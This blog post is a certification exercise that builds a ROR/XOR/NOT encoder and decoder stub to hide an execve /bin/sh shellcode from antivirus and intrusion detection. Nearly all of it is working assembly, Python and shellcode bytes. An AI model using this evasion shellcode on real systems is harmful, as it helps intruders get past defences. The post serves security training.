Monday 10 August 2015

SLAE Assignment #4: Custom Encoder


For my SLAE (Securitytube Linux Assembly Expert) certification exam, I have to blog my 7 assignments. Below is the fourth exercise requested about writing a custom encoder shellcode. Code can be found at my GitHub SLAE repository.


4. ENCODER SHELLCODE
___________________________________________________
Plain or clear shellcode can be detected easily by Antivirus and Intrusion Detection Systems. Indeed, they just have to make a signature of the shellcode, and it will be detected without much effort. One strategy to avoid that is to encode the shellcode, so that the resulting opcodes have no meaning at all. Of course to make it runable, a decoder stub has to be prepended and decode the shellcode at runtime, and jump to it.

I looked at various assembly instructions to make a decoder, one famous being XOR. However, I wanted to chain multiple instructions as to not make the encoding too close to known encoding schemes such as XOR. After looking into it, I went for the combination of ROR, XOR, and NOT. The three are bitwize instructions, ROR will rotate the bits by 7 to the right (= ROL 1), XOR will be applied with a key to encode the shellcode further, and then NOT will finally invert each byte. As an example: \x0D (ROR 7) = \x3B (XOR \xAA) = \x91 (NOT) = \x6E. So \x0D becomes \x6E at the end of the encoding. Below, let's start with the original shellcode, that will be later encoded. This is a simple Execve /bin/sh shellcode.

All comments are on the code. Available also on GitHub:
https://github.com/gkweb76/SLAE/blob/master/assignment3/egg-hunter.asm

; Title: Execve stack (25 bytes)
; From SLAE course
; SLAE-681


global _start

section .text

_start:
 ;    ebx            ecx      edx
 ; [/bin/sh][NULL][&/bin/sh][NULL]

 ; 1 [NULL]
 xor eax, eax
 push eax  ; push NULL on the stack, before pushing a string

 ; 2 [&/bin/sh][NULL]
 ; PUSH //bin/sh (8 bytes) 68732f6e 69622f2f
 push 0x68732f6e
 push 0x69622f2f

 mov ebx, esp  ; ebx = //bin/sh NULL

 ; 3 [NULL][&/bin/sh][NULL]
 push eax
 mov edx, esp  ;  edx = NULL

 push ebx
 mov ecx, esp  ; ecx = &//bin/sh

 mov al, 11  ; execve syscall
 int 0x80
Then we compile and build it, checking it works:



It works as expected as we have a /bin/sh shell opened, now it's time to make an encoder. I have made a ROR/XOR/NOT encoder in python, which has to be opened to put the shellcode inside, before execution of the python program:

 #!/usr/bin/python

# Title: ROR/XOR/NOT encoder
# File: rorxornotencode.py
# Author: Guillaume Kaddouch
# SLAE-681

import sys

ror = lambda val, r_bits, max_bits: \
    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

shellcode = (
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
)

encoded = ""
encoded2 = ""

print "[*] Encoding shellcode..."

for x in bytearray(shellcode):
    # ROR & XOR encoding
    z = ror(x, 7, 8)^0xAA

    # NOT encoding
    y = ~z

    if str('%02x' % (y & 0xff)).upper() == "00":
        print ">>>>>>>>>> NULL detected in shellcode, aborting."
        sys.exit()

    if str('%02x' % (y & 0xff)).upper() == "0A":
        print ">>>>>>>>>>  \\xOA detected in shellcode."

    if str('%02x' % (y & 0xff)).upper() == "0D":
        print ">>>>>>>>>>> \\x0D detected in shellcode."


    encoded += '\\x'
    encoded += '%02x' % (y & 0xff)

    encoded2 += '0x'
    encoded2 += '%02x,' %(y & 0xff)

print "hex version : %s" % encoded
print "nasm version : %s" % encoded2
print "encoded shellcode : %s bytes" % str(len(encoded)/4)

We can now execute this python program to encode our shellcode, and display it on screen:



So original shellcode was:
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

Encoded shellcode becomes:
"\x37\xd4\xf5\x85\x89\x0b\xb3\x85\x85\x0b\x0b\x91\x87\x46\x92\xf5\x46\x90\xf3\x46\x96\x34\x43\xce\x54"

Now it's time to write a decoder shellcode, a decoder stub that will be launched first, to then decode the execve shellcode:

; Title:  Execve ROR XOR NOT decoder shellcode
; File: execve-rorxornotencoded.asm
; Author: Guillaume Kaddouch
; SLAE-681


global _start

section .text

_start:

 jmp short get_address ; JMP CALL POP method to get "encoded" address

shellcode:

 pop esi     ; retrieve encoded shellcode address
 xor ecx, ecx
 mov cl, len    ; set the counter to encoded shellcode length

decoder:   ; decoding of ROR/XOR/NOT starts end and decodes backward
 not byte [esi]   ; NOT current byte
 xor byte [esi], 0xAA  ; XOR 0xaa
 rol byte [esi], 7  ; ROL 7: rotate left 7 bytes
 inc esi
 loop decoder   ; loop until ecx = 0
 jmp short encoded  ; ecx = 0, jump to now decoded shellcode

get_address:
 call shellcode
 encoded: db 0x37,0xd4,0xf5,0x85,0x89,0x0b,0xb3,0x85,0x85,0x0b,0x0b,0x91,0x87,0x46,0x92,0xf5,0x46,0x90,0xf3,0x46,0x96,0x34,0x43,0xce,0x54 
 len equ $-encoded:
The encoded execve /bin/sh shellcode has been included at the end of the shellcode, in the "encoded" variable. The decoder stub loops byte by byte to decode it, and then jump to it. Let's compile it and see if it works:



Then running the final program:



We can see that our encoded execve /bin/sh is correctly decoded and executed. There is a lot of possibilities to make encoders, and I think that combining 3 instructions is not a bad idea, even if the final size is 50 bytes (against 25 bytes unencoded). If size is an issue for a particular exploit, it is possible to use a single encoding instruction such as INC, provided the original shellcode has no \xFF byte. Finally, now Antivirus and IDS have adapated and are able to fingerprint decoder stubs. We will talk about solutions in other assignments.



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-681


No comments:

Post a Comment